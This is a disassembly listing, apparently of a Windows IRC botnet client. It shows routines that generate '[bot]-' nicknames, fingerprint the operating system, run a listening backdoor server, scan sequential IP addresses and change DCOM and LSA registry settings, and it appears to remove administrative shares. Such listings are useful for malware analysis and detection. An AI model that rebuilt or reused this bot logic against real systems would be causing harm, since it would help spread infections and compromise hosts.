lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41544E
add esp, 10h
test eax, eax
jnz short loc_41539F
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_43EB74 ; send
push dword ptr [esi]
call dword_43EBBC ; closesocket
push [ebp+arg_0]
call sub_416D90
pop ecx
push edi
call dword_423054 ; ExitThread
loc_41539F: ; CODE XREF: sub_415208+14Cj
; sub_415208+16Dj
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset dword_437D78
call sub_40BE01
push [ebp+arg_0]
call sub_416304
add esp, 10h
test eax, eax
jnz short loc_4153E6
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_437D3C
call sub_40BE01
push [ebp+arg_0]
call sub_416D90
add esp, 0Ch
push ebx
call dword_423054 ; ExitThread
loc_4153E6: ; CODE XREF: sub_415208+1B9j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset dword_437D04
call sub_40BE01
push [ebp+arg_0]
call sub_416D90
add esp, 10h
push edi
call dword_423054 ; ExitThread
sub_415208 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41540D proc near ; CODE XREF: sub_415208+9Ap
; sub_415208+A7p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
loc_415414: ; CODE XREF: sub_41540D+2Aj
push 0
lea eax, [ebp+arg_4+3]
push 1
push eax
push [ebp+arg_0]
call dword_43EB3C ; recv
cmp eax, 1
jnz short loc_41544A
mov al, byte ptr [ebp+arg_4+3]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_41543F
test al, al
jnz short loc_415414
xor eax, eax
inc eax
loc_41543C: ; CODE XREF: sub_41540D+3Fj
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41543F: ; CODE XREF: sub_41540D+26j
push offset dword_437E00
call sub_40BE01
pop ecx
loc_41544A: ; CODE XREF: sub_41540D+1Bj
xor eax, eax
jmp short loc_41543C
sub_41540D endp
; =============== S U B R O U T I N E =======================================
sub_41544E proc near ; CODE XREF: sub_415208+163p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_415479
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_437E38
call sub_40BE01
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_415479: ; CODE XREF: sub_41544E+11j
xor eax, eax
inc eax
retn
sub_41544E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41547D proc near ; DATA XREF: sub_40EC43+55C4o
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
xor edi, edi
inc edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call dword_43EA9C ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_4154D6
push eax
push offset dword_438010
call sub_40BE01
push [ebp+var_4C]
call sub_416D90
add esp, 0Ch
push edi
call dword_423054 ; ExitThread
loc_4154D6: ; CODE XREF: sub_41547D+3Aj
push edi
push offset loc_4156FA
call dword_423174 ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_41550F
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_437FC0
call sub_40BE01
pop ecx
pop ecx
call dword_43EA84 ; WSACleanup
push [ebp+var_4C]
call sub_416D90
pop ecx
push edi
call dword_423054 ; ExitThread
loc_41550F: ; CODE XREF: sub_41547D+67j
push ebx
push 10h
lea eax, [ebp+var_20]
push esi
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_20], 2
push [ebp+var_50]
call dword_43EB24 ; htons
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call dword_43EBA4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_415685
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov dword_444574[eax], ebx
lea eax, [ebp+var_20]
push eax
push ebx
call dword_43EB50 ; bind
test eax, eax
jnz loc_415685
push 7FFFFFFFh
push ebx
call dword_43EB4C ; listen
test eax, eax
jnz loc_415685
push offset dword_437F70
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_40BD8D
pop ecx
mov [ebp+arg_0], edi
loc_41559E: ; CODE XREF: sub_41547D+15Aj
; sub_41547D+203j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call dword_43EBB8 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_415688
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call dword_43EB04 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_41559E
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_414]
push offset dword_437F18
push eax
call sub_416FB6
lea eax, [ebp+var_414]
push eax
call sub_40BD8D
push edi
lea eax, [ebp+var_414]
push 6
push eax
call sub_416A7A
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov dword_44456C[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_415208
lea eax, [ebp+var_10]
push esi
push eax
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov dword_44457C[ecx], eax
jnz short loc_41567B
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_437EC8
call sub_40BE01
pop ecx
pop ecx
jmp short loc_415688
; ---------------------------------------------------------------------------
loc_415673: ; CODE XREF: sub_41547D+201j
push 32h
call dword_423064 ; Sleep
loc_41567B: ; CODE XREF: sub_41547D+1DFj
cmp [ebp+var_38], esi
jz short loc_415673
jmp loc_41559E
; ---------------------------------------------------------------------------
loc_415685: ; CODE XREF: sub_41547D+C8j
; sub_41547D+ECj ...
mov edi, [ebp+arg_0]
loc_415688: ; CODE XREF: sub_41547D+13Cj
; sub_41547D+1F4j
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_414]
push offset dword_437E80
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_4156C8
push esi
lea eax, [ebp+var_414]
push [ebp+var_40]
push eax
lea eax, [ebp+var_210]
push eax
push [ebp+var_214]
call sub_40D476
add esp, 14h
loc_4156C8: ; CODE XREF: sub_41547D+229j
lea eax, [ebp+var_414]
push eax
call sub_40BD8D
pop ecx
push edi
call dword_43EBBC ; closesocket
push ebx
call dword_43EBBC ; closesocket
call dword_43EA84 ; WSACleanup
push [ebp+var_4C]
call sub_416D90
pop ecx
push esi
call dword_423054 ; ExitThread
pop ebx
loc_4156FA: ; DATA XREF: sub_41547D+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_41547D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_415704 proc near ; CODE XREF: sub_415A3A+4Ap
; DATA XREF: .data:off_438060o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call dword_423058 ; GetTickCount
push eax
call sub_417008
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset aBot ; "[bot]-"
push offset aS_3 ; "%s"
push 1Ch
push edi
call sub_41752A
xor esi, esi
add esp, 10h
cmp dword_42E920, esi
jle short loc_41575D
loc_415737: ; CODE XREF: sub_415704+57j
call sub_417012
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_4380B4
push 1Ch
push edi
call sub_41752A
add esp, 14h
inc esi
cmp esi, dword_42E920
jl short loc_415737
loc_41575D: ; CODE XREF: sub_415704+31j
mov eax, edi
pop edi
pop esi
retn
sub_415704 endp
; =============== S U B R O U T I N E =======================================
sub_415762 proc near ; CODE XREF: sub_40EC43+3E49p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_423058 ; GetTickCount
push eax
call sub_417008
pop ecx
call sub_417012
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_42E920
test esi, esi
jle short loc_4157A5
loc_41578F: ; CODE XREF: sub_415762+41j
call sub_417012
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_41578F
loc_4157A5: ; CODE XREF: sub_415762+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_415762 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov dword ptr [ebp-4], 100h
call dword_423058 ; GetTickCount
push eax
call sub_417008
pop ecx
lea eax, [ebp-4]
mov esi, offset dword_4380BC
push eax
push esi
call dword_423154 ; GetComputerNameA
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41752A
xor esi, esi
add esp, 0Ch
cmp dword_42E920, esi
jle short loc_415818
loc_4157F2: ; CODE XREF: .data:00415816j
call sub_417012
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_4380B4
push 1Ch
push edi
call sub_41752A
add esp, 14h
inc esi
cmp esi, dword_42E920
jl short loc_4157F2
loc_415818: ; CODE XREF: .data:004157F0j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_423058 ; GetTickCount
push eax
call sub_417008
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_423178 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_4380C0
push 1Ch
push edi
call sub_41752A
xor esi, esi
add esp, 10h
cmp dword_42E920, esi
jle short loc_41588D
loc_415867: ; CODE XREF: .data:0041588Bj
call sub_417012
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_4380B4
push 1Ch
push edi
call sub_41752A
add esp, 14h
inc esi
cmp esi, dword_42E920
jl short loc_415867
loc_41588D: ; CODE XREF: .data:00415865j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43BCE8
mov dword ptr [ebp-94h], 94h
call dword_423144 ; GetVersionExA
call dword_423058 ; GetTickCount
push eax
call sub_417008
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_415917
cmp dword ptr [ebp-8Ch], 0
jnz short loc_4158F7
cmp dword ptr [ebp-84h], 1
jnz short loc_4158E7
mov esi, offset a95 ; "95"
loc_4158E7: ; CODE XREF: .data:004158E0j
cmp dword ptr [ebp-84h], 2
jnz short loc_415953
mov esi, offset aNt ; "NT"
jmp short loc_415953
; ---------------------------------------------------------------------------
loc_4158F7: ; CODE XREF: .data:004158D7j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_415907
mov esi, offset a98 ; "98"
jmp short loc_415953
; ---------------------------------------------------------------------------
loc_415907: ; CODE XREF: .data:004158FEj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_41594E
mov esi, offset aMe ; "ME"
jmp short loc_415953
; ---------------------------------------------------------------------------
loc_415917: ; CODE XREF: .data:004158CEj
cmp dword ptr [ebp-90h], 5
jnz short loc_41594E
cmp dword ptr [ebp-8Ch], 0
jnz short loc_415930
mov esi, offset a2k ; "2K"
jmp short loc_415953
; ---------------------------------------------------------------------------
loc_415930: ; CODE XREF: .data:00415927j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_415940
mov esi, offset aXp ; "XP"
jmp short loc_415953
; ---------------------------------------------------------------------------
loc_415940: ; CODE XREF: .data:00415937j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_4380CC
jz short loc_415953
loc_41594E: ; CODE XREF: .data:0041590Ej
; .data:0041591Ej
mov esi, offset dword_42CFD8
loc_415953: ; CODE XREF: .data:004158EEj
; .data:004158F5j ...
mov edi, [ebp+8]
push esi
push offset dword_4380C4
push 1Ch
push edi
call sub_41752A
xor esi, esi
add esp, 10h
cmp dword_42E920, esi
jle short loc_415997
loc_415971: ; CODE XREF: .data:00415995j
call sub_417012
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_4380B4
push 1Ch
push edi
call sub_41752A
add esp, 14h
inc esi
cmp esi, dword_42E920
jl short loc_415971
loc_415997: ; CODE XREF: .data:0041596Fj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41599D proc near ; CODE XREF: sub_415A3A+5Dp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_423058 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
call dword_43EB30 ; FindWindowA
cmp esi, 64h
jbe short loc_4159EC
test eax, eax
mov eax, offset dword_4380D8
jnz short loc_4159D5
mov eax, offset byte_43BCE8
loc_4159D5: ; CODE XREF: sub_41599D+31j
push eax
push esi
push offset dword_4380D0
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41752A
add esp, 14h
jmp short loc_415A06
; ---------------------------------------------------------------------------
loc_4159EC: ; CODE XREF: sub_41599D+28j
test eax, eax
mov eax, offset dword_4380D8
jnz short loc_4159FA
mov eax, offset byte_43BCE8
loc_4159FA: ; CODE XREF: sub_41599D+56j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_416FB6
pop ecx
pop ecx
loc_415A06: ; CODE XREF: sub_41599D+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_4177B0
pop ecx
cmp eax, 2
pop esi
jbe short loc_415A35
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_418AE0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_418910
add esp, 18h
loc_415A35: ; CODE XREF: sub_41599D+77j
mov eax, [ebp+arg_0]
leave
retn
sub_41599D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A3A proc near ; CODE XREF: sub_40E961+7Fp
; sub_40EAC7+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
xor esi, esi
loc_415A43: ; CODE XREF: sub_415A3A+40j
cmp [ebp+arg_C], 0
jz short loc_415A61
lea eax, dword_438050[esi]
push eax
push [ebp+arg_C]
call sub_4173D0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_415A6F
; ---------------------------------------------------------------------------
loc_415A61: ; CODE XREF: sub_415A3A+Dj
mov ecx, dword_43805C[esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_415A6F: ; CODE XREF: sub_415A3A+25j
test eax, eax
jnz short loc_415A7E
add esi, 14h
inc edi
cmp esi, 64h
jb short loc_415A43
jmp short loc_415A8C
; ---------------------------------------------------------------------------
loc_415A7E: ; CODE XREF: sub_415A3A+37j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_438060[eax*4]
pop ecx
loc_415A8C: ; CODE XREF: sub_415A3A+42j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_415A9F
push [ebp+arg_0]
call sub_41599D
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_415A9F: ; CODE XREF: sub_415A3A+58j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_415A3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415AA4 proc near ; DATA XREF: sub_415B71+7Bo
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 10h
rep movsd
xor esi, esi
push 0
inc esi
mov [eax+0A4h], esi
lea eax, [ebp+var_10]
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call dword_43EB24 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_43EBA4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_415B62
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43EACC ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_444574[ecx], esi
jz short loc_415B62
push [ebp+var_34]
push [ebp+var_28]
call dword_43EBB0 ; inet_ntoa
push eax
mov edi, offset dword_489280
push offset dword_4380E0
push edi
call sub_416FB6
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_40D476
push edi
call sub_40BD8D
add esp, 28h
loc_415B62: ; CODE XREF: sub_415AA4+5Dj
; sub_415AA4+7Ej
push esi
call dword_43EBBC ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_415AA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_415B71 proc near ; DATA XREF: sub_40EC43+359Fo
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_423064
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_415B9F: ; CODE XREF: sub_415B71+ECj
push [ebp+var_2C]
push [ebp+var_20]
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset dword_438128
push eax
call sub_416FB6
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_444368
push eax
call sub_418910
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_415AA4
push edi
push edi
call dword_4230A0 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_415C0B
jmp short loc_415C06
; ---------------------------------------------------------------------------
loc_415C02: ; CODE XREF: sub_415B71+98j
push 32h
call esi ; Sleep
loc_415C06: ; CODE XREF: sub_415B71+8Fj
cmp [ebp+var_C], edi
jz short loc_415C02
loc_415C0B: ; CODE XREF: sub_415B71+8Dj
push [ebp+var_4]
call dword_423078 ; CloseHandle
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_417090
add esp, 0Ch
push [ebp+arg_0]
call dword_43EA58 ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_43EB20 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_417090
add esp, 0Ch
jmp loc_415B9F
sub_415B71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C62 proc near ; DATA XREF: sub_40EC43+5F36o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_415CA9
call sub_415CC2
jmp short loc_415CAE
; ---------------------------------------------------------------------------
loc_415CA9: ; CODE XREF: sub_415C62+3Ej
call sub_415FE8
loc_415CAE: ; CODE XREF: sub_415C62+45j
add esp, 10h
push [ebp+var_14]
call sub_416D90
pop ecx
push 0
call dword_423054 ; ExitThread
sub_415C62 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CC2 proc near ; CODE XREF: sub_415C62+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_43EBF0, edi
jnz loc_415DF4
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43EB94 ; RegOpenKeyExA
test eax, eax
jnz short loc_415D4D
mov ax, word_4384EC
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43EB48 ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_415D35
push offset unk_4384AC
jmp short loc_415D3A
; ---------------------------------------------------------------------------
loc_415D35: ; CODE XREF: sub_415CC2+6Aj
push offset dword_438480
loc_415D3A: ; CODE XREF: sub_415CC2+71j
push eax
call sub_416FB6
pop ecx
pop ecx
push [ebp+var_4]
call dword_43EB00 ; RegCloseKey
jmp short loc_415D60
; ---------------------------------------------------------------------------
loc_415D4D: ; CODE XREF: sub_415CC2+36j
lea eax, [ebp+var_214]
push offset unk_438440
push eax
call sub_416FB6
pop ecx
pop ecx
loc_415D60: ; CODE XREF: sub_415CC2+89j
cmp [ebp+arg_C], edi
jnz short loc_415D7F
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_415D7F: ; CODE XREF: sub_415CC2+A1j
lea eax, [ebp+var_214]
push eax
call sub_40BD8D
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43EB94 ; RegOpenKeyExA
test eax, eax
jnz short loc_415DED
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_43EB48 ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_415DD5
push offset unk_4383E0
jmp short loc_415DDA
; ---------------------------------------------------------------------------
loc_415DD5: ; CODE XREF: sub_415CC2+10Aj
push offset unk_438398
loc_415DDA: ; CODE XREF: sub_415CC2+111j
push eax
call sub_416FB6
pop ecx
pop ecx
push [ebp+var_4]
call dword_43EB00 ; RegCloseKey
jmp short loc_415E07
; ---------------------------------------------------------------------------
loc_415DED: ; CODE XREF: sub_415CC2+E2j
push offset unk_438348
jmp short loc_415DF9
; ---------------------------------------------------------------------------
loc_415DF4: ; CODE XREF: sub_415CC2+13j
push offset unk_438304
loc_415DF9: ; CODE XREF: sub_415CC2+130j
lea eax, [ebp+var_214]
push eax
call sub_416FB6
pop ecx
pop ecx
loc_415E07: ; CODE XREF: sub_415CC2+129j
cmp [ebp+arg_C], edi
jnz short loc_415E26
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_415E26: ; CODE XREF: sub_415CC2+148j
lea eax, [ebp+var_214]
push eax
call sub_40BD8D
cmp dword_43EC18, edi
pop ecx
jnz loc_415FA3
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_415E49: ; CODE XREF: sub_415CC2+2C5j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_43EA70
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_415EE8
cmp eax, 0EAh
jz short loc_415EE8
xor esi, esi
loc_415E77: ; CODE XREF: sub_415CC2+21Fj
push off_43816C[esi]
push edi
call sub_40DACA
pop ecx
pop ecx
push off_43816C[esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_415E9C
push offset unk_4382D0
jmp short loc_415EA1
; ---------------------------------------------------------------------------
loc_415E9C: ; CODE XREF: sub_415CC2+1D1j
push offset unk_438294
loc_415EA1: ; CODE XREF: sub_415CC2+1D8j
push 200h
push eax
call sub_41752A
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_415ECE
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_415ECE: ; CODE XREF: sub_415CC2+1F0j
lea eax, [ebp+var_214]
push eax
call sub_40BD8D
add esi, 8
pop ecx
cmp esi, 20h
jb short loc_415E77
jmp loc_415F80
; ---------------------------------------------------------------------------
loc_415EE8: ; CODE XREF: sub_415CC2+1AAj
; sub_415CC2+1B1j
mov esi, [ebp+var_8]
xor ebx, ebx
inc ebx
cmp [ebp+var_4], ebx
jb loc_415F77
loc_415EF7: ; CODE XREF: sub_415CC2+2B1j
mov edi, [esi]
push edi
call sub_41969C
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_415F6C
push edi
call sub_40D9B7
push eax
push 0
call sub_40DACA
add esp, 0Ch
push dword ptr [esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_415F2C
push offset unk_438260
jmp short loc_415F31
; ---------------------------------------------------------------------------
loc_415F2C: ; CODE XREF: sub_415CC2+261j
push offset unk_438224
loc_415F31: ; CODE XREF: sub_415CC2+268j
push 200h
push eax
call sub_41752A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_415F5F
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_415F5F: ; CODE XREF: sub_415CC2+281j
lea eax, [ebp+var_214]
push eax
call sub_40BD8D
pop ecx
loc_415F6C: ; CODE XREF: sub_415CC2+244j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_415EF7
xor edi, edi
loc_415F77: ; CODE XREF: sub_415CC2+22Fj
push [ebp+var_8]
call dword_43EBB4
loc_415F80: ; CODE XREF: sub_415CC2+221j
cmp [ebp+var_10], 0EAh
jz loc_415E49
lea eax, [ebp+var_214]
push offset unk_4381EC
push eax
call sub_416FB6
pop ecx
pop ecx
pop ebx
jmp short loc_415FB6
; ---------------------------------------------------------------------------
loc_415FA3: ; CODE XREF: sub_415CC2+177j
lea eax, [ebp+var_214]
push offset unk_4381AC
push eax
call sub_416FB6
pop ecx
pop ecx
loc_415FB6: ; CODE XREF: sub_415CC2+2DFj
cmp [ebp+arg_C], edi
jnz short loc_415FD4
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_415FD4: ; CODE XREF: sub_415CC2+2F7j
lea eax, [ebp+var_214]
push eax
call sub_40BD8D
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
sub_415CC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415FE8 proc near ; CODE XREF: sub_415C62:loc_415CA9p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_43EBF0, ebx
push esi
jnz loc_416116
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
